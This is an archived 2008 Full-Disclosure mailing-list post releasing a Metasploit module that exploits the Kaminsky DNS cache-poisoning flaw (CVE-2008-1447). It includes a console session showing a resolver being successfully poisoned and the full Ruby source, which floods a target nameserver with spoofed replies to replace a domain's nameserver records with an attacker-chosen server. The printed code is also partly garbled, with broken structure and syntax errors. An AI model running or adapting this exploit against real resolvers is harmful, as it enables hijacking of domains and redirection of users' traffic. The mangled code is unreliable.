

# [Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2008-07/msg00417.html>

---

- *From:* "Druid" <[druid@xxxxxxxxxx](mailto:druid@xxxxxxxxxx)>
  - *Date:* Wed, 23 Jul 2008 22:48:38 -0500
- 

```
-----  
/\|/| | | | |  
-----#####/\_#\#/ \ \##| ##| #####-----  
| | | | | | | | | | |  
| | _ | _ | | | | | |  
-----#####\ /#| ##| #| ##| #####-----  
\_ / | | | | \_ /
```

Computer Academic Underground  
<http://www.caughq.org>  
Exploit Code

```
=====/  
Exploit ID: CAU-EX-2008-0003  
Release Date: 2008.07.23  
Title: bailiwicked_domain.rb  
Description: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains  
Tested: BIND 9.4.1-9.4.2  
Attributes: Remote, Poison, Resolver, Metasploit  
Exploit URL: http://www.caughq.org/exploits/CAU-EX-2008-0003.txt  
Author/Email: Druid <druid (@) caughq.org>  
H D Moore <hdm (@) metasploit.com>  
=====/  
=====
```

## Description

=====

This exploit targets a fairly ubiquitous flaw in DNS implementations which allow the insertion of malicious DNS records into the cache of the target nameserver. This exploit caches a single malicious nameserver entry into the target nameserver which replaces the legitimate nameservers for the target domain. By causing the target nameserver to query for random hostnames at the target domain, the attacker can spoof a response to the target server including an answer for the query, an authority server record, and an additional record for that server, causing target nameserver to insert the additional record into the cache. This insertion completely replaces the original nameserver records for the target domain.

Example

=====

```
# /msf3/msfconsole
```

```
## ### ## ##
## ## ##### ##### ##### ##### ## ##### #####
##### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
##### ##### ## ##### ##### ## ## ## ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ## ##### ## ## ## ## ## ## ##
## ## ##### ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ##
##
```

```
= [ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux
```

```
msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
```

```
b.iana-servers.net.
a.iana-servers.net.
```

```
msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
```

## [Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com.....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com.....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed
```

```
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D
```

dns01.metasploit.com.

### Credits

=====

Dan Kaminsky is credited with originally discovering this vulnerability.

### References

=====

<http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447>  
<http://www.kb.cert.org/vuls/id/800113>

### Metasploit

=====

```
require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'
```

## [Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

module Msf

```
class Auxiliary::Spoof::Dns::BailiWickedDomain < Msf::Auxiliary
```

```
include Exploit::Remote::Ip
```

```
def initialize(info = {})
```

```
  super(update_info(info,
```

```
    'Name' => 'DNS BailiWicked Domain Attack',
```

```
    'Description' => %q{
```

```
This exploit attacks a fairly ubiquitous flaw in DNS implementations which Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target domains nameserver entries in a vulnerable DNS cache server. This attack works by sending random hostname queries to the target DNS server coupled with spoofed replies to those queries from the authoritative nameservers for that domain. Eventually, a guessed ID will match, the spoofed packet will get accepted, and the nameserver entries for the target domain will be replaced by the server specified in the NEWDNS option of this exploit.
```

```
  },
```

```
  'Author' => [ 'Druid', 'hdm' ],
```

```
  'License' => MSF_LICENSE,
```

```
  'Version' => '$Revision: 5590 $',
```

```
  'References' =>
```

```
  [
```

```
    [ 'CVE', '2008-1447' ],
```

```
    [ 'US-CERT-VU', '8000113' ],
```

```
    [ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],
```

```
  ],
```

```
  'DisclosureDate' => 'Jul 21 2008'
```

```
  ))
```

```
register_options(
```

```
  [
```

```
    OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
```

```
    OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),
```

```
    OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),
```

```
    OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
```

```
    OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
```

```
    OptInt.new('TTL', [true, 'TTL for the malicious NS entry', 31337]),
```

```
  ], self.class)
```

```
end
```

```
def auxiliary_commands
```

```
  return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
```

```
end
```

```
def cmd_check(*args)
```

```
  targ = args[0] || rhost()
```

```
  if(not (targ and targ.length > 0))
```

```
    print_status("usage: check [dns-server]")
```

[Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
return
end

print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
  'PeerHost' => targ,
  'PeerPort' => 53
)

random = false
ports = []
lport = nil

1.upto(5) do |i|

  req = Resolv::DNS::Message.new
  txt = "spooftprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
  req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
  req.rd = 1

  srv_sock.put(req.encode)
  res, addr = srv_sock.recvfrom()

  if res and res.length > 0
    res = Resolv::DNS::Message.decode(res)
    res.each_answer do |name, ttl, data|
      if (name.to_s == txt and data.strings.join("") =~ /^[^s]+\s+.*red\.metasploit\.com/m)
        t_addr, t_port = $1.split(':')

        print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
        t_port = t_port.to_i
        if(lport and lport != t_port)
          random = true
          end
          lport = t_port
          ports << t_port
          end
          end
          end
          end

        srv_sock.close

        if(ports.length < 5)
          print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
          return
          end

          if(random)
            print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")})")
          end
        end
      end
```

[Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
print_status(" This server may still be exploitable, but not by this tool.")
else
print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
end
end

def run
target = rhost()
source = Rex::Socket.source_address(target)
sport = datastore['SRCPORT']
domain = datastore['DOMAIN'] + '.'
newdns = datastore['NEWDNS']
recons = datastore['RECONS']
xids = datastore['XIDS'].to_i
newttl = datastore['TTL'].to_i
xidbase = rand(20001) + 20000

address = Rex::Text.rand_text(4).unpack("C4").join(".")

srv_sock = Rex::Socket.create_udp(
'PeerHost' => target,
'PeerPort' => 53
)

# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spooftprobe-#{ $$ }#{ (rand()*1000000).to_i }.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join("") =~ /^([\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i
end
end
end
end
end
end

print_status("Switching to target port #{ sport } based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{ target } is not the same as the nameserver's query source address
#{ t_addr }!")
end
end
end
end
end
end
```

[Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
# Verify its not already poisoned
begin
query = Resolv::DNS::Message.new
query.add_question(domain, Resolv::DNS::Resource::IN::NS)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|

if((name.to_s + ".") == domain and data.name.to_s == newdns)
t = Time.now + ttl
print_status("Failure: This domain is already using #{newdns} as a nameserver")
print_status(" Cache entry expires on #{t.to_s}")
srv_sock.close
disconnect_ip
return
end
end

end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) #
reconnaissance resolver

print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount}
authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdomain}..."
answer1 = res0.send(rr0.nsdomain) # get the ns's answer for the hostname
```

[Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount}
authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry
=> 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = { :name => rr0.nsdname, :addr => rr1.address }
barbs << nsrec
print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
end
end
end
end

if barbs.length == 0
print_status( "No DNS servers found.")
srv_sock.close
disconnect_ip
return
end

# Flood the target with queries and spoofed responses, one will eventually hit
queries = 0
responses = 0

connect_ip if not ip_sock

print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")

while true
randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

# Send spoofed query
req = Resolv::DNS::Message.new
req.id = rand(2**16)
req.add_question(randhost, Resolv::DNS::Resource::IN::A)

req.rd = 1

buff = (
Scruby::IP.new(
#:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
```

[Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, newttl,
Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))
req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored
req.qr = 1
req.aa = 1

xidbase upto(xidbase+xids-1) do |id|
  req.id = id
  barbs.each do |barb|
    buff = (
  Scruby::IP.new(
  #:src => barbs[i][:addr].to_s,
  :src => barb[:addr].to_s,
  :dst => target,
  :proto => 17
  )/Scruby::UDP.new(
  :sport => 53,
  :dport => sport.to_i
  )/req.encode
  ).to_net
  ip_sock.sendto(buff, target)
  responses += 1
  end
end

# status update
if queries % 1000 == 0
  print_status("Sent #{queries} queries and #{responses} spoofed responses...")
end

# every so often, check and see if the target is poisoned...
if queries % 250 == 0
  begin
  query = Resolv::DNS::Message.new
  query.add_question(domain, Resolv::DNS::Resource::IN::NS)
  query.rd = 0

  srv_sock.put(query.encode)
  answer, addr = srv_sock.recvfrom()

  if answer and answer.length > 0
  answer = Resolv::DNS::Message.decode(answer)
  answer.each_answer do |name, ttl, data|
  if((name.to_s + ".") == domain and data.name.to_s == newdns)
```

[Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domains

```
print_status("Poisoning successful after #{queries} attempts: #{domain} == #{newdns}")
srv_sock.close
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end
```

--

D)ruid, C<sup>2</sup>ISSP  
druid@xxxxxxxxxxx  
<http://druid.caughq.org>

**Attachment: [signature.asc](#)**

*Description:* This is a digitally signed message part

---

Full-Disclosure – We believe in it.  
Charter: <http://lists.grok.org.uk/full-disclosure-charter.html>  
Hosted and sponsored by Secunia – <http://secunia.com/>

[Full-disclosure] CAU-EX-2008-0003: Kaminsky DNS Cache Poisoning Flaw Exploit for Domain\$0